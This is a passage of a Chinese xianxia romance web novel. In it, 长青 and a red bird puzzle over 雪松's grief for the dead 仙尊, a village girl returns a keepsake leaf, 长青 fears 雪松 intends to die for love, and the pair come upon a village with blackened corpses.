装东西的箱子已经在刚才的雷劫中灰飞烟灭了, 一点痕迹也没留下,好像根本不存在一样。
雪松就站在之前的位置上,重新整理了一下头发和衣服, 或许是因为雷劫刚过, 整个人看起来焕然一新。
“走吧,”雪松对长青说, “已经没有什么东西要拿了。”
长青点了点头, 转身正要走,旁边那只鸟忽然飞起来向他们问:“那我呢?我跟你们一起走吧?仙尊让我守的东西已经——”
鸟的眼珠子转了转, 看向雪松:“已经几乎不存在了,我没有什么留在这里的必要, 把我带走吧?”
雪松把他看了看:“带走你有什么用?”
“我愿意为你鞍前马后, ”那只鸟发誓一样说, “仙尊留下的印记作证, 当初仙尊怎样让我看守好那些东西,如今我就怎样待你。”
雪松将信将疑, 眯了眯眼睛, 本来不想带走他的,但听他提起印记,忽然想到,如果不带他走,他一定会到处乱飞,到时候, 要说什么,自己可听不见,也不知道,会发生什么事, 那可就不好说了。
因此雪松略一犹豫就点了点头:“那你就跟着吧,不要打扰我。”
那只鸟连连点头,拍着胸脯保证说:“我一定不会给你添麻烦的!”
长青看得出来,雪松本来是不打算答应那只鸟的,但听他答应了,有一点惊讶,转头去看他,发现他脸上细微的表情变化和犹豫。
虽然不想被人跟着,但一想到对方曾经和仙尊有所接触,甚至还带着仙尊的印记,就改变主意了吗?
虽然仙尊已经死了,仙尊留下来的东西已经带在身上,仙尊给的丹药已经吃掉了,但还有一只带着仙尊留下来的印记的鸟,所以也不能留在外面吗?
就那么爱仙尊?爱到不管是什么东西都收入囊中,连一只不想带着的鸟也要带在身边,只是为了这只鸟身上仙尊的印记,以及曾经见过仙尊的回忆?
哪怕只是曾经和仙尊见过一面,也那么重要吗?究竟是想从这些零零碎碎的东西里回忆仙尊,还是窥视仙尊曾经在他人面前的样子以此来拼凑自己对仙尊的印象呢?
如果是前者,那真是爱到不可自拔,如果是后者,大约仍在摇摆,并不确定自己应该是什么态度,也不确定自己是否真的爱过,对仙尊仍有怀疑。
又或者只是占有欲发作,不想让除了自己以外的任何一个人能够通过仙尊留下来的任何东西,哪怕是一只鸟,来回忆仙尊?
如果是这一种,那么显而易见,雪松已经接受自己曾经爱过仙尊的事实,并且仍然决定继续爱下去,以仙尊道侣的身份。
长青并不清楚究竟是哪一种情况,但又不想追根究底,因为觉得,如果打破砂锅问到底,受伤害的只有自己,以至于神色复杂。
“走吧,”雪松从他身边路过,见他不动,提醒他说,“你认得路吧?回院子去。”
长青回过神来,点了点头:“好。”
二人一鸟回到了院子,雪松回房间休息,长青在外面坐了坐,也回了自己的房间,那只鸟左右看了看,停在了树枝上。
长青随手布置了一个隔音法阵,拿起徽章,在房间里走来走去,好一阵子之后,下定了决心,联络了长老问:“您之前没说完的那件事,现在还能再谈谈吗?”
长老想了想:“那件事,好啊,你想问什么?”
“你没说完的,关于那个禁咒的使用的前提条件是什么?”长青深吸一口气,坐在了凳子上,向长老问。
“原来是这个,”长老提起来就控制不住想笑,“前提条件之一,是必须心怀怨恨,而且不是随便一个人都行,是长时间对某一个人,充满了不可遏制的怨恨。”
长老顿了顿,努力让自己听起来严肃一些:“所以一开始发现禁咒有这个前提条件才能使用的时候,大家都觉得这个咒语不封禁也没什么,因为前提条件不是一般人能达到的,只是讨厌或者不满是不行的,我们试过。”
“你们还试验过?”长青挑了挑眉有些惊讶。
“我们总得试验之后才知道威力究竟有多大,才知道应不应该被封禁,”长老耸了耸肩,有点无可奈何,“总不能随便看见一个咒语,觉得威力大了就立刻封掉吧?那也太奇怪,太麻烦,太没有必要,而且太儿戏了!”
长青若有所思,点了点头:“这倒也是。”
他忽然反应过来,猛然一惊:“我还以为用这个咒语的前提是充满爱呢,原来是恨?那岂不是说明,雪松很有可能对仙尊充满怨恨?
可如果,他记得的只有好处,又从哪里来的怨恨呢?他记得一些我们不知道,而且他从来没有跟我们讲过的东西吗?”
长老心情复杂,他之前想起这个的时候也吃了一惊,但现在已经平静很多了,因此面对徒弟再次提起,只感慨道:“大概是的。”
长青沉默了。
窗户忽然响了起来,哐哐的,听起来好像是啄木鸟,他走过去,打开窗户一看,红彤彤的鸟飞了进来。
“你进来做什么?”长青皱了皱眉,往外看了看,院子里没有人,雪松应该没听见他之前在说什么,谨慎起见,他还是把窗关了。
“我刚才隐约听见你好像在谈仙尊?”那只鸟停在桌上,收了翅膀看着他问。
“你怎么会听见?你用什么听见的?你偷听?”长青皱着眉头走过来,站在桌前看着那只鸟说:“我这里有隔音阵法!你居然越过阵法来偷听?”
“不不不,”那只鸟连忙摆翅膀,“没有那回事,只是因为仙尊的印记提醒我,附近有人正在念叨仙尊,我发现是你,所以来问问而已。”
“你的印记都有这种效果,”长青皱着眉头,有些烦躁,往旁边看了一眼,一墙之隔就是雪松住的位置,“那仙尊的伴侣会怎么样?”
那只鸟坐在桌上笑嘻嘻说:“他又没有仙尊留下来的印记,怎么能和我一样呢?大约仙尊早料到,如果留下印记会多许多的麻烦事,还不如不留。”
长青神色复杂。仙尊为了让雪松避开和自己有关的事以及麻烦,所以没有给雪松留下自己的印记吗?真是考虑周全。
但仙尊居然在这方面没有占有欲,还挺令人惊讶的。仙尊真的无所谓吗?若果然如此,倒和他冷清清的外表挺配。
可是,他又建洞府又给丹药,又特意准备了剑,又特意准备了软猬甲,甚至还有手镯,恨不得让雪松浑身上下都沾上他的气息,染上他的痕迹,没有一样东西不是他的,这可不像是会在印记方面退让一步的样子。
倒不如说,这种情况比较像雪松的态度,而不是仙尊的,那已经可以想象了,当初仙尊还活着的时候,一边按照雪松的意见隐瞒他们相恋的事实,把人藏得密不透风,一点消息都没有,一边顺势装可怜,让雪松心软,答应把本来的东西换下来,再把沾满自己气息的东西,一样一样挂在道侣身上,恨不得把人时刻带着,一定讨要到很多好处了吧?
只要想一想仙尊究竟是如何得到雪松的灵魂印记再印到软猬甲上的,就该知道,仙尊可不会在这种事情上吃亏。
长青的神色逐渐诡异起来。
雪松在他心里的形象逐渐从形似仙尊的有趣后辈兼被迫害炸毛小可怜,变成熟透了的,鼓鼓囊囊的,快要滴汁的饱满水蜜桃了。
仙尊也从高不可攀的金刚石神像,逐渐变成志得意满,还迫害小年轻并得手的大尾巴狼,仗着一身蓬松的白毛,假装自己是狐狸,其实比狐狸狡猾多了。
实际上,像那种遇上喜欢的道侣,会一口叼住对方的后颈,硬塞进自己窝里,堵住离开的路,一边用舌头给对方梳毛,一边用尖锐的犬齿对别人的大动脉威逼利诱的身强力壮又浑身肌肉的狼。
“你在想什么?”桌子上的鸟歪了歪头,看着长青变来变去的神色,忍不住问。
“一些仙尊和他道侣的事情。”长青慢吞吞给自己倒了一杯茶,垂着眼睛说。
“你为什么不叫他的名字?”那只鸟背着翅膀在桌上走来走去看着他,有些疑惑问。
“他们不是一样的名字吗?”长青看了那只鸟一眼,端起杯子,假装听不懂对面说的话。
“几乎没有人会直呼仙尊的姓名,但另外一个现在的地位和修为,显然都比不上仙尊,如果要谈名字,指的是谁,很好分辨吧?”那只鸟摇了摇头。
“我只是不想那么说,”长青把茶水一饮而尽,皱着眉头,露出苦闷的神色,牙齿发出一点嘎吱嘎吱的响声,“仙尊和他道侣,只是他们两个人的事情,但如果是仙尊和雪松,那我就不得不正视雪松就是仙尊道侣这件事了,雪松就在隔壁,我做不到。”
第36章
雪松在房间里休息好了之后, 巩固了一下修为,顺便打坐,运转了一个周天, 就觉得已经神清气爽, 可以出门了。
他推开门走出去,院子里没有人, 一个姑娘从外面路过, 正好看见他走出来,不由得脚步顿了一顿, 直勾勾盯着他。
他停住了脚步,站在院子里, 看着那个姑娘, 觉得有点眼熟, 隐约觉得好像见过, 那个姑娘仿佛从他的目光里察觉了什么,向他走了过来:“我曾经在这个院子外面见到过和您长得差不多的人, 您曾经在这住过吗?”
“没有, ”雪松毫不犹豫摇了摇头,在这里住过的是仙尊,不是雪松,雪松如果承认在这里住过,约等于承认自己是仙尊,长青和之前那只鸟多半还在这里, 要是听见,又不知道会想些什么了,“你有什么事吗?”
“当初那位和您差不多的人在这住的时候,我还很小, 不知道什么,只知道玩,”那姑娘面带回忆,有些腼腆笑了笑,“常常路过这里,偶然间有一次路过,院子里的那位客人,向我打了招呼,送了我一个东西,我想,转送给您,您愿意收吗?”
雪松一下子想起这姑娘是谁了。
当初他来的时候,这姑娘还是个小孩,穿着一条红花裙子到处乱跑,手上脏兮兮的沾着泥巴,看起来好像刚刚和玩伴,在哪里有泥巴的阶梯上玩过家家。
他当时在院子里闲坐,不知哪里飘来的叶子落在他面前,他就伸手接了看,正好那姑娘停在门口望着他,他还以为那姑娘是喜欢那片叶子,反正本来也不是他的,又不值钱,他也就顺手打了招呼送了。
他不记得他还送过别的什么,那这姑娘说的东西,多半就是那片叶子,过了这么久,那片叶子要是保存完好,多半也已经干了。
可是谁会花心思去保存一片叶子?保存这么多年,随手又送出去?这有点太奇怪了。雪松隐约觉得,还是不收下比较好。
他就试探着问:“他送给你的东西,那就是你的了,你确定要送给我吗?你不想要了?还是不喜欢了?”莫不是想丢了又觉得可惜,所以随便找个看起来好像有关系的人收下,也算不浪费?
姑娘看了一眼他手上的两只镯子,认出他其中一只镯子是当初仙尊手上戴着的,心情十分复杂。
虽然还不知道他和仙尊究竟是什么关系,但就凭自己的猜测,一个人能把另外一个人曾经带过的镯子戴在自己的手上,关系多半不会太差。
毕竟如果是仇人,早就恨不得把对方的所有东西都烧了,怎么还会留下?又怎么还会带在自己身上?好像非要时时刻刻看着才罢休!这哪里像是仇人?这分明是情人!
最多是由爱生恨罢了。但恨来恨去,恐怕最恨的,不是对方不爱自己,就是恨对方已经死了,居然不能活过来。
更何况,按照玉镯镇本地的习俗,戴一只镯子是未婚,带两只镯子是不婚,不戴镯子是已婚,像现在这位客人这样,来的时候带一只镯子,或许是不知道,但来了之后就戴上两只镯子,那多半是知道的,否则何必多此一举?
既然知道两只镯子是不婚,还是戴上了两只镯子,说明要么他本来就是这么想的,要么发生了什么事情,让他遇到了,改变了他的主意,他才变成这样,可他如果本来就是这么想的,来的时候为什么不带两只镯子?因为不知道?
他既然要到这儿来,好歹要稍微了解一下这里的习俗吧?真的什么都不知道吗?还是来之前抱有希望,觉得或许可以见到心上人,期待和对方重逢,再举行一场婚礼,才戴着象征未婚的一只镯子呢?
那又是遇到了什么事情,才让他戴上了两只镯子?他找到了和他手上那只镯子匹配的另外一只,同时也是,他死去的爱人为他留下的,礼物和遗物吗?
所以他才不婚?因为他们从来没有结过婚,又或者,哪怕已经结过了,其中一个死了,婚约自然失效,剩下的活着的那一个,虽然可以结婚,却也已经不愿再结?
真是一对苦命鸳鸯!
姑娘念及至此,连忙摆手,生怕有一点误会,急匆匆说:“不是不想要,也不是不喜欢,我知道他送给我就是我的,我好好保存了,我只是觉得,那东西与其放在我这里,不如放在你那里,或许更有意义一些,他知道了,也会高兴的。”
雪松虽然搞不清楚,这姑娘后半段究竟在说些什么,但听出对面的意思没有更改,也不想在这件事上争执,将信将疑,点了点头,顺着对方的意思说:“既然如此,那好吧。”
姑娘眼前一亮:“这么说,你会收下?”
雪松再次点了点头:“是的。”
姑娘高兴起来,笑眯眯说:“那我现在就去把东西给你取来!请你一定在这等我!我马上就回来!一定交到你手上!”
雪松虽然对这种郑重的态度有一点惊讶,但想到那东西毕竟是对面保存了那么久的,倒也可以理解,点了点头:“我知道了,我会在这等你回来的,直到你把东西给我。”
姑娘笑着点头,已经迫不及待了:“那好。”
说完,人就已经跑出去了。
雪松想着现在回房间去,那姑娘回来,或许在外面看不见他,会以为他走了,不想让人平白无故担心着急,往周围看了看,走到树下去,等待起来。
此时,正在房间里的长青和旁边的红色鸟面面相觑,已经隔着窗户旁听完了整件事情的经过,忍不住在隔音阵法的庇护下,低声讨论。
“那姑娘要转送给仙尊道侣的东西,莫不就是当初仙尊打算送给道侣的?只不过当初,阴差阳错,没有送出去,干脆,就转送给了那姑娘?”红羽毛鸟神色诡异,喃喃问。
“这确实很有可能,”长青若有所思,点了点头,“不然怎么能解释,那姑娘一看见仙尊道侣就觉得,当初仙尊送给自己的东西,应该转送给别人呢?”
一般人可不会随便把礼物转赠出去,更不会把自己保存了很久的东西,随便送给一个才见一面的陌生人。
除非,收礼者觉得,这个陌生人才是,应该收礼的那个人,也是更适合收藏那个礼物的人,才会这么做。
红羽毛鸟连连点头,觉得自己的想法和长青不谋而合,看了他一眼说:“也许,早在当初仙尊把那东西送给姑娘的时候,就算准了,那姑娘会在今天见到自己的道侣,也知道那姑娘会在今天,把自己送出去的东西,转交给道侣。
所以,那确实就是仙尊本来打算送给道侣的东西,只不过,不是打算当初送出去,而是打算现在送出去。”
毕竟,活人送出去的东西只不过是礼物,死人送出去的东西可是遗物,遗物那种东西,弄损一件少一件,弄丢一件少一件,总之是越来越少,而不会越来越多。
纪念意义绝对更重,也更容易叫人在平静中感到无可奈何的悲痛,不由自主回忆起死者的生前,和自己相处的片段,以及从前那些波涛汹涌的感情,还有无处安放的情绪。
长青听后,忍不住感慨:“仙尊这一招真妙啊,活着的时候把人藏得严严实实,死了之后倒是把人放出来了,但并不代表他放手了。”
他只是从一直待在对方身边,变成仿佛碎了无数块的影子,无处不在,无所不依,既要叫人对他的死亡和感情都无能为力,又要叫人时时刻刻想起他。
从前的感情只要还剩下一丝,在这样一次又一次的唤醒下,也绝对会被漫长的时间和沉重的物品发酵成,令人惊讶的,无可承受的——
扭曲的,爱恨交织的,无可言喻的痛苦。
红色羽毛鸟头皮发麻,狠狠打了个哆嗦,心情复杂感慨道:“毫无疑问,有数不清的人想要成为仙尊的道侣,但如果这些人知道,成为仙尊道侣的代价就是在仙尊死后,也能处处感知到仙尊存在过的痕迹,简直像被永远无法摆脱的幽灵缠上,恐怕也会犹豫吧?”
“如果不爱仙尊是不会有所触动的,见到这些大约也不过觉得厌烦罢了,”长青摇了摇头,对那些陌生人不抱任何希望,“只是白费了仙尊的一番苦心。”
“仙尊不会爱一个不爱他的人,哪怕是在他死后,”红色羽毛鸟坐在桌边,对此倒仿佛深有了解,“他不是那种随便交付爱意的人,否则,他也不会到死都被人认为,是高不可攀的存在了。”
长青点了点头:“这倒也是。那些转瞬之间就改变主意的人,怎么配当仙尊的道侣呢?也只有在仙尊死后仍旧念念不忘的人,配得上仙尊。”
一人一鸟沉默了一阵子。
那只鸟忽然提议说:“要不我们出去转转吧?”
第37章
长青和红色鸟, 眨眼间消失在了房间内,一个呼吸之后,又出现在了院子外面不远处的地方, 一个树林茂密投下阴影的路口。
长青和鸟对视了一眼, 异口同声问:“你怎么不走门?”
红色鸟低头啄了啄自己的羽毛,不知是心不在焉, 还是有意遮掩, 低声回答道:“我只是一只鸟,当然不走门了!那太奇怪了吧?”
“雪松就站在院子里面, ”长青挪开目光,注视着不远处院中的雪松, 心情复杂回答道, “我从他面前路过, 总感觉不太好。”
红色鸟点了点头:“这倒也是, 他现在看起来像是被仙尊的事情牵引了心神,如果现在有谁从他面前路过, 恐怕会让他更加烦躁, 没有办法集中注意力,对他不好,对路过的人也不好。”
因为他们都感觉,如果现在从雪松面前路过,可能会收到雪松充满希望似的猛然一瞥,就好像可能会看见仙尊一样。
他们当然不是仙尊, 也不可能变成仙尊,更不可能现在把仙尊召唤过来,那雪松毫无疑问,看见他们的时候是会失望的, 他们不希望雪松失望,更不想直面那张脸上出现那样的表情。
所以还是绕开门比较好。
长青和红色鸟对视一眼,默默挪开目光,又沉默了一会儿,思考之后应该说点什么,随后是长青先开口了:“我们就站在这儿吗?”
“或许我们可以出去走走,”红色鸟扑扇了一下翅膀回答,“一直站在这里也不是个事儿,要是被注意到就不好了,更何况,去拿东西的那姑娘一时半会儿应该也不会回来,我们可以到路上去找。”
说到这里,红色鸟顿了顿,转头看向长青说:“其实我想,那姑娘手里的东西还是不要交给雪松比较好,毕竟是仙尊的东西,要是触景生情,害人难过,也没有必要看吧?再说,仙尊都已经死了有一阵了,干扰活人的情绪,恐怕有损阴德呢。”
长青嗤笑了一声:“究竟是有损阴德,还是你自己不愿意看见呢?”
“我有什么可不愿意看见的?”红色鸟把头一偏。
“你不愿意看见雪松怀念仙尊,也不愿意看见,仙尊当真与雪松关系好到这个地步,不是吗?”长青慢条斯理问。
红色鸟没有回答,沉默了一阵说:“我要到外面去看看了,也许能见到那姑娘,总之,我是要想个办法,让那姑娘手里的东西消失的,你可以跟上来,也可以藏起来,当做什么都没有听到,但我暂时不会改变主意。”
说完,红色鸟扑扇着翅膀飞走了。
长青跟在红色鸟的身后,面色平静,闲庭信步:“这也巧了,我也不太希望雪松和仙尊联系过多,哪怕仙尊已经死了。”哪怕他们可能曾经是道侣。
红色鸟有些惊讶,看了他一眼,没想到他还真能和自己在这方面的想法一样,而且一点都不阻止,甚至好像有帮忙的意思。
不过,这对鸟来说是好事,红色鸟垂眼想了一想,没感觉出来他是撒谎或者欺骗,就沉默着继续往前飞,一副顺其自然的姿态。
一人一鸟在小路上见到了急匆匆带着东西去找雪松的姑娘,那姑娘穿一身红色长裙,手里提着一个黄色的口袋,正往前走。
长青隐匿了身形,跟在姑娘身边,正想找个办法,让姑娘不小心把东西遗失,反正东西没有交到雪松手里,雪松看起来也不是很想要,不小心弄丢的话,应该不会追根究底,或者大发雷霆,造不成什么严重后果。
但对他来说,就算好了。
那姑娘忽然在院子不远处停住,往前望了望,发现雪松就在院子里,忽然踌躇起来,转了个身,好像想要回家,又转了回来,似乎觉得自己不能就这么走了,脸上渐渐红了,一时又发白,不知在想些什么,还跺了跺脚,像是怕蚊子咬,又像是怕自己立刻跑掉,非要鼓鼓气不可。
长青听见那姑娘低着头喃喃自语:“要是把东西给他,他一定要伤心了,要是不把东西给他,我就是说话不算话,我该怎么办?早知道我不该告诉他的,他看起来不太高兴。也对,仙尊已经死了,拿到仙尊的东西,又能高兴到什么地步呢?真是好心办坏事啊!”
姑娘皱着眉头在树底下转来转去,屏住呼吸,忽然顿住,面向树干,把手里的口袋拿了起来,轻轻打开,定睛一看,不知是不是松了一口气,自言自语道:“东西还在,一点损坏都没有,应该可以给他吧?可万一他不想要呢?万一他其实不喜欢呢?我怎么承受得住?我又怎么向仙尊交代?哪怕仙尊并没交代什么,可是用头发丝想想也知道,就凭那两只一模一样的镯子,仙尊肯定是想让我,把东西交给他的。”
姑娘又纠结起来。
但这给了长青机会,长青可不纠结,他念了个咒,招来一阵风,往前吹了口气,只听呼的一声响,满树的叶子哗啦啦叫了起来。
树下的姑娘猛然一惊,左右转头,看来看去,像是怕被人认为形迹可疑抓起来,又像是怕被雪松发现,连忙往树干旁边再躲了躲。
就是这个时候,姑娘没注意手里的口袋,刚才那阵风已经把口袋里的东西卷了起来,往远处吹去。
姑娘一边用手按着头发,一边隐约感觉到什么东西被吹走了,顺着风抬头一看,正好看见那片枯黄的叶子,在半空中一卷,向远处飘去,大惊失色,顿时喊道:“等等!”
姑娘一边喊一边追过去,伸手想要抓,没抓到,急得在原地跳来跳去。
院子里的雪松听见了声音,转头往这看了过来,看见半空中的那片叶子,仿佛是认出来了,神色有些回忆,站起身,向那片叶子走去,伸出手,似乎念了个咒语。
一阵微风在半空中一卷,就把那叶子卷了过去,正巧天上有一排大雁,飞着飞着,忽然变作回字形,顺着风发出叫声,听起来莫名有些凄凉。
此时,一轮饱满的明月挂在中天上,暗沉沉的天泛着蓝,满院清辉,雪松就站在院子里,伸出手接住了那片半空中飞落的叶子。
月光洒在他的身上,使他那苍白的发色,蒙上了一层混沌的光晕,好像他下一刻就会在众人眼前消失,一种脆弱恍惚又莫名饱经沧桑的感觉,那一瞬间,像极了死去的仙尊。
所有看着他的人都愣住了,一时间什么也反应不过来,只知道呆呆站在原地,直勾勾看着他,好像他真用鱼钩勾住了他们的眼睛,使他们不得不看着他。
“云中谁寄锦书来?雁字回时,月满西楼。”长青仰头望了一望天,不由得感怀伤神,皱着眉头,喃喃自语。
姑娘呆呆看着手托叶子的雪松,再次注意到雪松手腕上的两只镯子,忽然明白这是什么意思,神色恍惚道:“何以致契阔?绕腕双跳脱。”
原来仙尊把镯子留给雪松,是这个意思?这倒也不奇怪。假如他们真是道侣,一双镯子,不过寻常。可仙尊已经死了。
她没有什么时候比现在更清楚这一点。
仙尊已经死了,留在这里的,不过是他的未亡人,兴许,也不过是个,看起来好像还活着的躯壳罢了。
不管仙尊留下的是镯子还是叶子,都是死物,再怎么样,他也不可能活过来,这些东西,也只有徒劳使人伤心,不可能增加丝毫的愉悦。
“我不该来。”姑娘摇了摇头,喃喃自语,转身飞快跑走了,像是要躲避什么扑面而来的悲伤导致的痛苦,又像是觉得自己犯了错却无法弥补而不得不逃跑。
那姑娘的影子一下子不见了。
长青觉得自己这个时候或许应该去问一问,就向雪松走去,站在院子外向他问:“你还好吗?”
雪松不知道他在外面,惊了一惊,把那片叶子收起来,点了点头,面色平静答道:“还好。”
长青仔细观察雪松的表情,发现雪松好像是真的平静,仿佛根本意识不到,那姑娘为什么,非要把这东西转交给他。
但那姑娘之前应该说得够清楚了,雪松不可能不知道,那就只有一个可能了,雪松觉得用不了多久,他就会和仙尊重逢。
那么,即使现在暂时和仙尊分离,看见这样那样的仙尊送给他的东西,而见不了仙尊的人,也无所谓。
他想要殉情?!
长青猛然一惊,意识到这一点,神色海啸一般剧烈变化,三步并作两步冲过去,一把抓住了雪松,想要劝他,又不知从何说起。
殉情这种事,对当事人而言或许是解脱,他又从何阻拦呢?他一个外人,既不了解内情,又不曾参与什么,被蒙得严严实实,他又能说些什么呢?雪松真会听他的吗?
恐怕,雪松不会那么容易改变主意,反而会因为他尝试阻止而提起警惕。
第38章
长青想了想, 目光落在雪松手里的那片叶子上,又打量了一番雪松脸上的表情,忽然升起了一点疑惑。
雪松知道这就是那个姑娘想要交给他的, 仙尊曾经送出去的东西吗?那姑娘好像并没有对他描述过这东西的样子吧?他怎么知道?
“你知道这是什么?”长青试探着, 望着雪松问。
“我知道,”雪松轻轻挑了挑眉, 不知道他为什么问这个问题, 有一点疑惑回答,“这是一片叶子。”
长青皱了皱眉, 不知道是应该庆幸仙尊并没有在那上面留下任何痕迹,还是应该担忧雪松的精神状态是不是稳定。
万一真有什么字, 只是他暂时没看出来呢?要是之后看出来了, 那可就糟糕了。到时候的情绪波动, 一定比现在剧烈得多。
长青顿了顿, 又问:“那能送给我吗?”如果对雪松而言,这只是一片普通的叶子, 想来转送他应该也没什么大不了, 就像仙尊当初把叶子转送给那个姑娘。
如果对雪松而言,这是一片特殊的叶子,象征着仙尊曾经留下的爱意,那大概是不会同意的,但试一试,雪松应该也不会生气。
万一呢?
长青看着雪松, 雪松注视着手里的叶子,要送出去倒也没什么,虽然这是仙尊送出去的东西,又刚回到他手里, 但他就是仙尊。
他对仙尊的东西,没有什么特别的念想,甚至可以说要多少有多少,因为他用过的东西,都可以算作是仙尊的东西,不需要尤其注意,问题在于,他刚拿到手就送出去,似乎不太好,哪怕这本来是他的,可这东西,分明是那姑娘要送给他的。
他要是转送给长青,那姑娘看见了,生气怎么办呢?他可不想平白无故惹人生气,更不怎么会哄姑娘开心。何况这还是可以避开的事。
“不,”雪松想了想,做出决定,摇了摇头,“我不送给你。”
长青呆呆看着他。
他根本不知道自己刚才露出的表情像什么样子吧?恍惚怀念又温和,像是陷在棉花糖做的梦境里,回忆到了过去的仙尊。
从来没有这么温和过,也从来没有什么时候像现在这样,让人一眼就看得出来,他是在思考和回忆,那他思考和回忆的对象,除了仙尊,还能有谁呢?
他就这么对仙尊念念不忘?时时刻刻都记着?不管看什么东西,不管说什么话,不管面前是什么人,也不管是什么时候,在哪?
不对,也许正是因为,回忆仙尊需要天时地利人和,他才会在这个仙尊曾经居住过的院子里,拿着仙尊曾经送给别人的东西,听着旁人在耳边,询问关于仙尊的事,在这种寒风萧瑟,树影婆娑的月夜里,不得不回忆起仙尊吧?连表面上的伪装也顾不得。
他平日里提起仙尊的时候,比现在平静多了。哪怕有些情绪波动,也不过是疑惑,愤怒,将信将疑和惊疑不定,而不是现在这样。
这分明是悲痛至极,以致连自己在悲痛什么都记不得的,令人痛惜可怜的,六神无主的茫然。
既然如此,他不愿意把东西转送出来,倒也正常。
长青默默在心里叹了一口气,说不清自己是觉得可惜还是感慨,也有可能是跟着恍惚了,在这种极其适合回忆和悲伤的夜里。
想了想,长青还是没有问为什么,或许是因为觉得直接问出来太残忍了,就像是拿刀割开别人的喉咙,再看着血缓缓流出来一样。
因此他说:“时间不早了,回去休息吧?”
雪松看了看手里的叶子,又看了看院外清静无人的小路,那姑娘似乎不会回来了,至少今天晚上不会,他不用在这等了。
雪松把叶子看了看,收了起来,点了点头说:“那你们也早点休息吧。”
长青点了点头,算是听见了,红色羽毛的鸟磨磨蹭蹭从外面飞进来,站在树枝上,默不作声,看着他们。
雪松顿了顿,转头问他们:“说起来,你们打算什么时候走呢?”
“什么时候?”长青重复了一遍他的话,打量了他一番问:“你打算尽快离开这里吗?”你不想继续待在这了?虽然看起来似乎比之前好了一些,但也许还需要休息时间,你之前的伤可不轻。
“我觉得我好的差不多了,”雪松垂着眼睛回答,“更何况,继续待在这里也没什么事要做吧?你之前不是想去东海吗?趁着这个任务结束之后,我还有时间,我们可以立刻去。”
长青注视着他,试图判断他说这话只是客套还是真心实意。好得差不多了?表面上看是这样,但谁受了那么重的快要死的伤,只用休息两天就会全好呢?更何况中间还有突破。
突破虽然是好事,也绝对会提升修为,但是,雷云可不是来虚的,劫雷绝对是结结实实打过,修为才会进步的,既然如此,适应修为一定是需要时间的,一两天够吗?
继续待在这里,没什么事做?修仙之人每天打坐要花的时间可长了,根本无聊不起来。那么,想要离开这,究竟是因为无事可做,还是因为见到了仙尊曾经见过的人,拿到了仙尊曾经送出去的礼物,住在仙尊曾经住过的房子里,不受控制想到了仙尊而触景伤情,无法继续待在这儿呢?
至于东海?长青曾经确实对雪松提起过。但雪松之前,一直是记得有这么一回事,但是压根不急着去的状态,怎么现在突然变了?
有什么事情让他着急了吗?最近发生了什么?他见到了仙尊留下的东西?难道是仙尊让他去?仙尊恐怕不会做这种事。
那就是他忽然迫不及待想要了解,仙尊和他之前曾经发生过的一些,他根本不记得的事情?这倒也不是不可能。
听起来总比殉情好些。说起来,就算要殉情,也不能什么都不知道就去。那去的路上应该不会出什么事,答应也没关系。
“好吧,”长青说,“你今天晚上好好休息,明天我们就到东海去,看看那块三生幻境石,如何?”
雪松点了点头:“好。”也不知道这块石头能照出什么来,应该什么都照不出来吧?毕竟他和仙尊并没有三生三世。
倒是那个幻境需要注意,横竖都是假的,也不知道会不会直接胡编乱造一通来糊弄人,反正都是幻境,要乱造可容易了。
次日一早,长青就去找雪松,雪松住在他的隔壁,他推开门进入院子,转身顺着走廊,就到了雪松的门口,正打算敲门,忽然发现旁边的窗户没关,愣了一下,下意识看了过去。
雪松并没有休息,也没有打坐修炼,而是坐在窗前桌边,看着什么的样子,长青把目光落在桌上,定睛一看——
那东西不是别的,正是昨天晚上雪松才拿到的,仙尊曾经送给本地姑娘又被转送回来的,那片叶子。
长青倒吸一口凉气,他吸引了雪松的注意,雪松抬头看了他一眼,面色十分平静,但一看就不是刚醒来的样子。
显然,要么已经醒来一会儿了,要么昨天晚上就没休息过,所以,看起来才能这样清醒又平静,一副刚刚接受清晨露水洗礼过的样子。
长青下意识屏住了呼吸,顿时有种自己正在面对仙尊的错觉,虽然他知道仙尊已经死了。
但他不得不承认雪松真的和仙尊十分像,尤其是这种平静的,没有表情又十分宁静的时候,很有拷问人心的能力。
“现在就走吗?”雪松把那片叶子收起来,推开门,向他问。
“走吧。”长青点了点头。
雪松要是清晨就拿出那片叶子,是感怀伤神,触景伤情,睹物思人,但要是昨天晚上就看着那片叶子,直到今天早上都没干过别的,那至少是想了一夜,究竟要怎么办才好,看样子似乎今天早上也没想好。
不会真是打算殉情吧?除了这件事,还能有什么事情,需要思考这么久还没有结果?说了这件事,还有什么事情,非要看着那片仙尊留下来的叶子,才能想清楚呢?
长青猛然警惕起来。他不会给雪松一丁点死在自己面前的机会的!仙尊已经死了!死人是没有前途的!
雪松忽然停住,长青猛然一惊,一把抓住他问:“怎么了?”
雪松低头往下看了看,问他:“底下那个村子仿佛有什么事情正在发生?你没察觉?”
长青皱起眉头,怀疑这是他分散自己注意力的办法,垂眼往下看去,还真发现底下村子似乎正有什么麻烦,若有所思:“我们只是路过,也不知道什么情况,还是不要靠近比较好。”
“事情似乎很紧急,”雪松再次看了看,摇头说,“还是去看一看。”他一边说一边降下云头,落在村子不远处,旁观起来。
长青只好跟着他一起下去,但仍然没有放开他,警惕道:“看了就走吧?”
第39章
“奇怪, ”雪松转头看向长青,有些疑惑问,“你之前并不这样着急, 你联系了谁在那边等你吗?如果真是这样, 你可以自己先去,我随后就到。”
长青本来就怀疑雪松想趁机殉情, 听见他这样一说, 更加确信他是要把自己支开,连忙摇头:“我没有联系别人, 也不必先去,我只是觉得, 平白无故我们还是不要插手这里的事情比较好, 毕竟又不了解前因后果, 谁知道会不会一不小心弄巧成拙呢?那可不妙!”
“没关系, ”雪松摇了摇头,观察着不远处, 村子里的情况, “先看一看吧。”
长青看劝不动他,不说话了。
村民们陆陆续续从房子里抬出了死状凄惨的尸体,这些尸体的共同点是浑身漆黑,表情狰狞,看上去十分可怕。
雪松看了一阵,忽然觉得这些症状有些眼熟, 便走了出去,长青想要拉住他,没拉着,只好跟着他, 一起往前走去。
村民们看见他们这两个突然冒出来的陌生人。都吃了一惊,迅速往后退,站成一堵墙,十分防备盯着他们,好像一群随时准备逃跑的刺猬。
“你们是什么人?”村长走出来,盯着他们看了一阵问。
“路过的,”雪松瞟了一眼他们身后的尸体,随后看着村长说,“我看这些尸体有些眼熟,仿佛曾经在什么地方见过相似的,能让我仔细看看吗?也许我有办法呢?”
长青皱了皱眉,将信将疑看他。
他什么时候见过相似的?他从被长老带到宗门之后,行动处处都有人知道,没听说过他见过这样的东西。
